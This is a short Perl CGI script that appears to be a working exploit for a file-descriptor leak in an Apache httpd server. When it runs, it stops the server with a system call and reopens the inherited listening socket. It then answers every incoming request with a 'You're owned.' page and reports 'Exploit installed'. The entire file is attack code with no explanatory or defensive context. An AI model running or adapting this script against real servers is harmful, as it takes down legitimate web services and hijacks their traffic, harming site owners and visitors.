#!/usr/bin/perl
use POSIX qw(setsid);
if (!defined(my $pid = fork)) {
print "Content-Type: text/html\n\n";
print "cannot fork: $!";
exit 1;
} elsif ($pid) { # This is the parent
sleep(1);
print "Content-Type: text/html\n\n";
print "<html><body>Exploit installed</body></html>";
system '/usr/sbin/httpd2 -k stop';
sleep(2);
exit 0;
}
# This is the Child
setsid;
sleep(2);
my $leak = 4;
open(Server, "+<&$leak");
while (1) {
my $rin = '';
vec($rin,fileno(Server),1) = 1;
$nfound = select($rout = $rin, undef, undef, undef);
if (accept(Client,Server) ) {
print Client "HTTP/1.0 200 OK\n";
print Client "Content-Length: 40\n";
print Client "Content-Type: text/html\n\n";
print Client "<html><body>";
print Client "You're owned.";
print Client "</body></html>";
close Client;
}
}